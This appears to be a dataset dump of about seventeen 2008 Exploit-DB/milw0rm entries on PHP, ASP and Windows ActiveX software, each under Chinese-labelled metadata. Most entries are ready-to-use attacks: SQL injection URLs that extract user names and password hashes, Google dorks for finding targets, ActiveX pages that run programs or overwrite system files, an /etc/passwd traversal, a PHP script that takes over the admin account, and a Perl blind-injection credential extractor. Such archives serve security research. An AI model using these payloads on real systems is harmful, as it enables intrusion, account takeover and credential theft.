QLWD/code_shield huggingface dataset:
标题: Prozilla Hosting Index - 'cat_id' SQL Injection EDB-ID: 5516 CVE: 2008-2083 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-28 漏洞利用脚本: ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_88$2008

-----------------------------------------------------------------------------------------
[ECHO_ADV_88$2008] Prozilla Hosting Index (directory.php cat_id) Blind Sql Injection Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : April, 28 th 2007
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv88-K-159-2008.txt
Critical Lvl   : Medium
Impact        : System access
Where        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Hosting Index
version       : unknown
Vendor        : http://www.prozilla.com/item.php?item=26
Description   :


---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input passed to the "cat_id" parameter in directory.php is not properly verified before being used to sql query. 
This can be exploited thru the browser and get the hash md5 password from users.
Successful exploitation requires that "magic_quotes" is off


Poc/Exploit:
~~~~~~~~~

http://www.target.com/[hostindex_path]/directory.php?ax=list&sub=7&cat_id=-1%20union%20select%201,2,concat(id,0x3a,name,0x3a,email,0x3a,password),4,5,6,7,8,9,10,11,12,13,14%20from%20links--

Dork:
~~~~
Google: "inurl:directory.php?ax=list" Hosting Directory

Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
~~~~~~~~

- 15 - 12 - 2007 bug found
- 28 - 04 - 2008 advisory released
---------------------------------------------------------------------------

Shoutz:
~~~~
~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,fuzk3_k3ndi,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~ SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.

---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2008-04-28] URL: https://www.exploit-db.com/exploits/5516
标题: HP Software Update - 'Hpufunction.dll 4.0.0.1' Insecure Method EDB-ID: 5511 CVE: 2008-2390 类型: REMOTE 平台: WINDOWS 发布日期: 2008-04-27 漏洞利用脚本: &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Insecure Methods in HP Update Software.
Remote: Yes
Execute code remotely is possible using methods ExecuteAsync and Execute  :-) 
If a user visits the malicious page the attacker can execute code.
Coded by callAX
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

Proof of Concept
----------------


<HTML>
<BODY>
<object id=boom classid="clsid:{B00FBC78-73CB-4216-8D01-96770CC020C3}"></object>
<SCRIPT language="javascript">


function Do_it()
{
  var Please = "c:\\windows\\system32\\calc.exe"
  var Give = "doest_matter"
  var Me = "c:\\"
  var Freedom  = 1;

  boom.ExecuteAsync (Please, Give, Me ,Freedom);
}


</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Poc">
</BODY>
</HTML>

# milw0rm.com [2008-04-27] URL: https://www.exploit-db.com/exploits/5511
标题: Jokes Site Script - 'jokes.php' SQL Injection EDB-ID: 5508 CVE: 2008-2065 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-27 漏洞利用脚本: author:ProgenTR

scriptismi:Jokes Site Script

script :http://www.yourfreeworld.com/script/phpjokescript.asp

fiyat:$49

demo:http://www.autowebhits.com/jokesite/

jokes.php?catagorie=-1%20union%20select%201,convert(concat(database(),char(58),user(),char(58),version()),char)/*


dork:allinurl:"jokes.php?catagorie="

# milw0rm.com [2008-04-27] URL: https://www.exploit-db.com/exploits/5508
标题: FluentCMS - 'view.php' SQL Injection EDB-ID: 5509 CVE: 2008-6642 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-27 漏洞利用脚本: ###################################################
[~] FluentCMS Remote Sql Ä°nj. Vuln.
                                                                                                              
[~] Founder: cO2 [ Algeria Security Crew ]
[~] HomePage: http://www.DZ-Secure.com
[~] Greatz : To all Hackerz from Algeria & All My Friends . . .
[~] Contact: c02@Hotmail.de
[~] Greetz2 : Str0ke,Inphex,DigitalMind,His0k4,Stack-Terrorist,mArEzZinA,Waraxe,Str0xo
[~] Speacial thanks to : Inphex
[~] Dork :  Powered by FluentCMS
[~] Exploit :
http://www.xxx.org/view.php?sid=-5926+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,unhex(hex(version())),17,unhex(hex(user())),unhex(hex(database())),20,21,22,23,24,25,26,27,28,29,30,31,32--
or
http://www.xxx.org/view.php?sid=-3+union+select+1,2,3,unhex(hex(user())),5,6,7,unhex(hex(database())),9,10,11,12,13,14,unhex(hex(version())),16--
---------------------
http://www.DZ-Secure.com
---------------------
###############################################

# milw0rm.com [2008-04-27] URL: https://www.exploit-db.com/exploits/5509
标题: Content Management System for Phprojekt 0.6.1 - File Disclosure EDB-ID: 5510 CVE: 2008-2217 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-27 漏洞利用脚本: --------------------------------------------------------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo ---------------------------------------------------------
--------------------------------------------------------------------------------------------------------------

= Author : HouSSaMix                          
= Script :  Content Management System for Phprojekt
= version : 0.6.1
= Download : http://www.mariovaldez.net/software/cm_4p/download.php
                    
          
= BUG  :  Remote File Disclosure Vulnerability 

 Vulnerable CODE :
~~~~~~~~ graphie.php ~~~~~~~~~~~~~~~~~
readfile ($cm_imgpath . "/t.gif");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
variable " $cm_imgpath " not declared   

= Exploit :

target.com/cm/graphie.php?cm_imgpath=../.././../[file]
target.com/cm/graphie.php?cm_imgpath=../.././../etc/passwd

= see phpinfo 
target.com/cm/phpinfo.php



= greetz : V40 - marwen.neo and all muslims Hackers

=================================================================================================================

# milw0rm.com [2008-04-27] URL: https://www.exploit-db.com/exploits/5510
标题: Groupwise 7.0 - 'mailto: scheme' Buffer Overflow (PoC) EDB-ID: 5515 CVE: 2008-2069 类型: DOS 平台: WINDOWS 发布日期: 2008-04-28 漏洞利用脚本: PRODUCT: GroupWise 7.0
OS: Windows Xp

The scheme "mailto" is vulnerable if one takes as default mail client to 
GroupWise, the fault is to implement the scheme followed by an extensive 
argument and this causes the buffer overflow. This brings the consequence that 
can overwrite the EIP and is able to execute arbitrary code. The result with a 
debbuger us what reveals. 

Access violation when executing [41414141] 

What power is that vulnerability to attach a html file which is included in an 
iframe with the scheme badly formed runs only watch.

proof of concept

#!/usr/bin/python

a = "<iframe src='mailto:"
a += "A" * 1530
a += "\x61\x61\x61\x61"
a += "' width='320' height='300' scrolling='yes' name='content'></iframe>"

file = open("test.html", "w")
file.write(a)
file.close()

greetings!

Juan Pablo Lopez Yacubian

# milw0rm.com [2008-04-28] URL: https://www.exploit-db.com/exploits/5515
标题: RunCMS Module MyArticles 0.6 Beta-1 - SQL Injection EDB-ID: 5505 CVE: 2008-2084 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-26 漏洞利用脚本: Cr@zy_King / crazy_kinq@hotmail.co.uk

' Â¿? seLÃ§uK abim1z qururumuzsun altÄ±n kemer Trabzonun !..

K1 World Champions SelÃ§uk AydÄ±n The Best Of , Number One ;)

RunCms MyArticles Module 0.6 Beta-1 Remote Sql Ä°nj.

Down : https://sourceforge.net/project/showfiles.php?group_id=155086&package_id=212714&release_id=466097

Sql : http://localhost/modules/myarticles/topics.php?op=listarticles&topic_id=Sql.

Sql : -2 union select 1,2,concat_ws(0x3a,uname,pass),4,5,6 from runcms_users

BÃ¼tÃ¼n TÃ¼rkiye'ye Ve DÃ¼nya'ya Selam oLsun aLtÄ±n Kemer Trabzonun !

http://coderx.org and http://scriptlife.org 

# milw0rm.com [2008-04-26] URL: https://www.exploit-db.com/exploits/5505
标题: PHP Forge 3 Beta 2 - 'id' SQL Injection EDB-ID: 5504 CVE: 2008-2088 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-26 漏洞利用脚本: =========================================================
=============== JIKI TEAM [ Maroc And YameN ]===============
=========================================================
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : Forge 3.0 bÃªta
# Bug   : Remote SQL Injection Vulnerability
# Download  : http://membres.lycos.fr/phpforge/downloads/phpforge3b2.tar.gz
=========================JIkI Team===================
# Exploit  :
 http://[Site]/[script]/http://localhost/script/phpforge3/admin.php?module=news&p=modifier&id=-1 union select 0,identifiant,mdp,pseudo,email,description,6,7 from membres--
# Ex :
http://localhost/script/phpforge3/admin.php?module=news&p=modifier&id=-1  union  select  0,1,database(),3,4,5,6,7  from  membres--
=========================================================
 greetz:
 all my friend [kil1er & GhosT HaCkEr] and H-T Team and all No-back members and tryag.Com
 visit: www.no-back.org & www.tryag.com 
=========================================================

# milw0rm.com [2008-04-26] URL: https://www.exploit-db.com/exploits/5504
标题: PostNuke Module pnFlashGames 2.5 - SQL Injection EDB-ID: 5500 CVE: 2008-2013 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-26 漏洞利用脚本: Vuln: Postnuke Mod pnFlashGames (Blind SQL/SQL) all version Vulnerability
Author: Vulnerability search Kacper (kacper1964_at_yahoo.pl)

dork: inurl:"index.php?module=pnFlashGames"

Author Homepage: http://devilteam.pl/


If magic_quotes_gpc = off
-====
Vuln to old >2 version:

index.php?module=pnFlashGames&func=display&id=-1+union+select+concat(pn_uname,char(58),pn_pass),1,2,3,4,5,6,7,8+from+nuke_users+where+uid=2/*

-====

Vuln to new version 1.5 == 2.5

[code]
<? 
//start options
$address == ""; // site address (http://google.pl/)
$prefix == ""; // tables prefix (nuke_users, pn_users)
//end options

$cryptpass = md5("devilteam");
echo "Vuln: Postnuke Mod pnFlashGames (Blind SQL/SQL) all version Vulnerability\n";
echo "Exploit by Kacper\n"; 
echo "Author Homepage: http://devilteam.pl/\n"; 
echo "<pre>\n"; 
echo "Login: Kacper Password:".$cryptpass;
@set_time_limit(0); 
@ini_set("display_errors","0"); 
$hostname = gethostbyname($address); 
function getid() 
{global $hostname; 
$responce = ""; 
$fsock = fsockopen($hostname,80,$errnum,$errstr,2); 
$headers = "POST ".address."index.php?module=pnFlashGames&func=display&id=-1+UPDATE+".$prefix."_users+SET+pn_uname='Kacper',+pn_pass='".$cryptpass."'+WHERE+uid=2/* HTTP/1.1\n"; 
$headers .= "Host: www.google.com\n"; 
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n"; 
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n"; 
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n"; 
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; 
fwrite ($fsock,$headers); 
while (!feof($fsock)) $responce .= fread($fsock,1024); 
fclose ($fsock); }
getid();
echo "\n";
?>
[/code]

Pozdrowienia dla calej ekipy DEVILTEAM.PL

# milw0rm.com [2008-04-26] URL: https://www.exploit-db.com/exploits/5500
标题: Angelo-Emlak 1.0 - Multiple SQL Injections EDB-ID: 5503 CVE: 2008-2048 2008-2047 类型: WEBAPPS 平台: ASP 发布日期: 2008-04-26 漏洞利用脚本: Angelo-Emlak v1.0 Multiple Remote SQL injection Vulnerable


Discovered By : U238

msn              :setuid.noexec0x1[+]hotmail[-].com


webPage     :http://noexec.blogspot.com



Script        : http://www.aspdepo.org/tr/incele.asp?id=587&Script=angelo-emlak-v1.0-(tr)


Script2       : http://rapidshare.de/files/39240819/angelo-emlak_v1.0.zip.html



not   : Siz0yyffyeniz biz kardesim inkar edenmÄ± var ya  :(   - Allah .belanÄ± versin ulan $iz0 .buda yÄ±lÄ±n sozu :D


_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_

Exploit:


http://localhost:2222/lab/angelo-emlak_v1.0/hpz/profil.asp?id=1+union+select+0,1,2,3,(user),(pass),1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+admin+where+id=1


----------

http://localhost:2222/lab/angelo-emlak_v1.0/hpz/prodetail.asp?id=1+union+select+user,0,2,3,4,5,6,7,8,9,null,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+admin

http://localhost:2222/lab/angelo-emlak_v1.0/hpz/prodetail.asp?id=1+union+select+pass,0,2,3,4,5,6,7,8,9,null,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+admin

---------

Admin Panel : 

http://localhost:2222/lab/angelo-emlak_v1.0/hpz/default.asp

X13 DB Editor Admin Panel : 

http://localhost:2222/lab/angelo-emlak_v1.0/hpz/admin


_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_


This script is xss vulnerable ! ..

Exploit : 


target/angelo-emlak_v1.0/hpz/admin/Default.asp?sayfa=[XSS]

"><script>alert(document.cookie)</script>&olay=insert


----------------------------------------------------

My Friends : ka0x - Marco Almeida - The_BekiR - fahn - Teyfik Cevik - Nettoxic - Caborz - Sersak - ZeberuS

U238 | Web - Designer Solutions Developer

# milw0rm.com [2008-04-26] URL: https://www.exploit-db.com/exploits/5503
标题: PostNuke Module PostSchedule 1.0 - 'eid' SQL Injection EDB-ID: 5495 CVE: 2008-2012 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-25 漏洞利用脚本: Vuln: Postnuke Mod PostSchedule SQL Vuln
Author: Vuln search Kacper (kacper1964_at_yahoo.pl)
google:"PostSchedule ver 1"

Vuln:

index.php?module=PostSchedule&view=event&eid=-1')+union+select+0,1,2,3,4,5,6,7,8,concat(pn_uname,char(58),pn_pass),10,11,12,13/**/from/**/nuke_users/**/where/**/pn_uid=2/*

$Severo:
Moga byc rozne tabele np. pn_users, nuke_users itp.

Homepage: http://devilteam.pl/

# milw0rm.com [2008-04-25] URL: https://www.exploit-db.com/exploits/5495
标题: Watchfire Appscan 7.0 - ActiveX Multiple Insecure Methods EDB-ID: 5496 CVE: 2008-2015 类型: REMOTE 平台: WINDOWS 发布日期: 2008-04-25 漏洞利用脚本: ****************************************************************************************************************
Multiple Insecure Methods in AppScan Watchfire Web Application Security v 7.0
Remote: Yes
An arbitrary file overwrite has been discovered in an ActiveX control installed with the WatchFire Appscan v 7.0.
by callAX -> Fr33d0m & Kn0wl3dg3 1s th3 r341 P0w3r
****************************************************************************************************************
 

<HTML>
 <object id=ctrl classid="clsid:{E302E486-D748-475C-84F3-4F7ED6F78EC5}"></object>
<SCRIPT>
function Do_it()
 {
   File = "c:\\autoexec_.bat"
   ctrl.CompactSave(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>
 
<HTML>
<BODY>
 <object id=ctrl classid="clsid:{AA9730F1-70F6-43DC-94FC-000000000004}"></object>
<SCRIPT>
function Do_it()
 {
   File = "c:\\boot_.ini"
   ctrl.saveRecordedExploreToFile(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>
 

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{E302E486-D748-475C-84F3-4F7ED6F78EC5}"></object>
<SCRIPT>
function Do_it()
 {
   File = "c:\\ntldr_"
   ctrl.SaveSession(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>

# milw0rm.com [2008-04-25] URL: https://www.exploit-db.com/exploits/5496
标题: Joomla! Component Community Builder 1.0.1 - Blind SQL Injection EDB-ID: 5491 CVE: 2008-2093 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-23 漏洞利用脚本: #########################################################
#       #
#     Joomla Component Profiler Blind SQL Injection #
#       #
#########################################################


########################################

[~] Vulnerability found by: $hur!k'n
[~] Contact: alibabanala@hotmail.com

########################################

[~] ScriptName: "Joomla"
[~] ModuleName: "Profiler"
[~] Version: ? 

########################################

[~] DORK: allinurl:com_comprofiler

########################################

[~] Exploit: /index.php?option=com_comprofiler&task=userProfile&user=[SQL]
[~] Example: /index.php?option=com_comprofiler&task=userProfile&user=1/**/and/**/mid((select/**/password/**/from/**/jos_users/**/limit/**/0,1),1,1)/**/</**/Char(97)/*

########################################

# milw0rm.com [2008-04-23] URL: https://www.exploit-db.com/exploits/5491
标题: Joomla! Component JPad 1.0 - (Authenticated) SQL Injection EDB-ID: 5493 CVE: 2008-4715 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-24 漏洞利用脚本: #########################################################
#       #
#     Joomla Component JPad Remote SQL Injection #
#       #
#########################################################

########################################

[*] Founded by : His0k4 (Algerian HaCkeR);
[*] Contact: His0k4[at]gmail.com
[*] Greetz : All friends & muslims HaCkeRs  :) 

########################################

[*] Script_Name: "Joomla"
[*] Component_Name: "JPad"


########################################

[*] DORK: allinurl:com_jpad

########################################

[*] P.O.C: /index.php?option=com_jpad&task=edit&Itemid=39&cid=[SQL]
[*] Example: /index.php?option=com_jpad&task=edit&Itemid=39&cid=-1 UNION ALL SELECT 1,2,3,concat_ws(0x3a,username,password),5,6,7,8 from jos_users--
[*] Note : You have to register an account in the site.
########################################

side note:
  <name>JPad</name>
  <creationDate>31/06/2007</creationDate>
  <author>Theo van der Sluijs</author>
  <copyright>(c) 2007 VanderSluijs.nl</copyright>
  <authorEmail>theo@vandersluijs.nl</authorEmail>

  <authorUrl>www.vandersluijs.nl</authorUrl>
  <version>1.0</version>
  <description>Component to create notepad files. (see about)</description>

# milw0rm.com [2008-04-24] URL: https://www.exploit-db.com/exploits/5493
标题: Zune Software - ActiveX Arbitrary File Overwrite EDB-ID: 5489 CVE: 2008-1933 类型: REMOTE 平台: WINDOWS 发布日期: 2008-04-23 漏洞利用脚本: Vulnerability class : Arbitrary file overwrite
Discovery date : 21 April 2008
Remote : Yes
Credits : J. Bachmann & B. Mariani from ilion Research Labs
Vulnerable : Zune software: EncProfile2 Class

An arbitrary file overwrite as been discovered in an ActiveX control installed with the Zune software package.
If a user visits the malicious page and authorize the control to run (it is not marked safe for scripting), the attacker can erase an arbitrary file.

POC:
<HTML>
<BODY>
 <object id=ctrl classid="clsid:{0B1C3B47-207F-4CEA-8F31-34E4DB2F6EFD}"></object>
<SCRIPT>
function Do_it()
 {
   File = "c:\\boot_.ini"
   ctrl.SaveToFile(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>

# milw0rm.com [2008-04-23] URL: https://www.exploit-db.com/exploits/5489
标题: Web Calendar 4.1 - Blind SQL Injection EDB-ID: 5485 CVE: 2008-1954 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-22 漏洞利用脚本: #!/usr/bin/perl

use strict;
use LWP::Simple;

print "-+--[ Web Calendar <= 4.1 Blind SQL Injection Exploit ]--+-\n";
print "-+--                                                   --+-\n";
print "-+--           Discovered && Coded By t0pP8uZz         --+-\n";
print "-+--             Discovered On: 24 April 2008          --+-\n";
print "-+--                                                   --+-\n";
print "-+-- Web Calendar suffers from a insecure mysql query  --+-\n";
print "-+--  the vendor has not been notified.. and wont be.. --+-\n";
print "-+--                                                   --+-\n";
print "-+--          Exploit tested in ActivePerl             --+-\n";
print "-+--                                                   --+-\n";
print "-+--[ Web Calendar <= 4.1 Blind SQL Injection Exploit ]--+-\n";

print "\nEnter URL (ie: http://site.com/webcal/): ";
 chomp(my $url=<STDIN>);
 
print "\n\nInjecting Please Wait..\n\n"
 
my $lop = 1;
my $num = 48;
my $sub = 1;
my $res = undef;
my $content = undef;

while($lop) {

 $content = get($url."/one_day.php?user_id=1 AND ASCII(SUBSTRING((SELECT CONCAT(login,char(58),password,char(94)) FROM T_AUTH WHERE role_id=1 LIMIT 0,1),".$sub.",1))=".$num."/*");
 
 if($content !~ /you are not in database/i && $num == 94) { $lop = 0; }
 elsif($content !~ /you are not in database/i) { $res .= chr($num); $num = 48; $sub++; print $res."\n"; }
 else { $num++; }
}

print "\nExploit Successfull! Admin Details Are: ".$res;

# Coded by t0pP8uZz

# milw0rm.com [2008-04-22] URL: https://www.exploit-db.com/exploits/5485
标题: TR News 2.1 - 'nb' SQL Injection EDB-ID: 5483 CVE: 2008-1958 2008-1957 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-21 漏洞利用脚本: ########################################################
#                                                      # 
#  Discovered by : His0k4 {Algerian HaCker}            #
#                                                      #
#  Email : His0k4.hlm[at]gmail[dot]com                 #
#                                                      #
#  Greetz to: All Dz & muslims HaCkeRs  :)               #
#                                                      #
#  Special Greetz:c02,Spym4n,THe-MooRiSH               #
#                                                      #
########################################################
#
#  Script   : Tr Script News v2.1
#
#  Download script     : http://www.easy-script.com/scripts-dl/trscript-21.zip
#
#  Dork        : inurl:news.php?mode=voir
#
#  Vulnerable file    : news.php
#
#  P.O.C
#  http://www.victime.com/[news_path]/news.php?mode=voir&nb=[SQL]
# 
#  Exemple:
#  http://www.victime.com/[news_path]/news.php?mode=voir&nb=-1/**/UNION/**/SELECT/**/1,2,3,4,concat_ws(0x3a,pseudo,pass,email),6,7/**/from/**/tr_user_news/*
#
#  Admin login: /admin
#
#  Note: you can upload a shell from the administrator board by going in this link "/admin/main.php?mode=ajout_cat" and it will be uploaded in "[news_path]/images/icone_cat/shell.php"
#
#############################################################################

# milw0rm.com [2008-04-21] URL: https://www.exploit-db.com/exploits/5483
标题: E RESERV 2.1 - 'index.php' SQL Injection EDB-ID: 5487 CVE: 2008-1975 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-23 漏洞利用脚本: =========================================================
=============== JIKI TEAM [ Maroc And YameN ]===============
=========================================================
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : E RESERV VERSION 2.1
# Bug   : Remote SQL Injection Vulnerability
# Download  : http://cogites.com/e_reserv/index.php?num=21
=========================JIkI Team===================
# Exploit  :
 http://[Site]/[script]/index.php?ID_loc=[sql]
# Ex :
http://[Site]/[script]/index.php?ID_loc=-1 union select version()--
At Office Site
http://cogites.com/e_reserv/e_reserv/index.php?ID_loc=-1%20union%20select%20version()--
=========================================================
 greetz:
 all my friend and H-T Team and all No-back members and tryag.Com
 visit: www.no-back.org & www.tryag.com 
=========================================================

# milw0rm.com [2008-04-23] URL: https://www.exploit-db.com/exploits/5487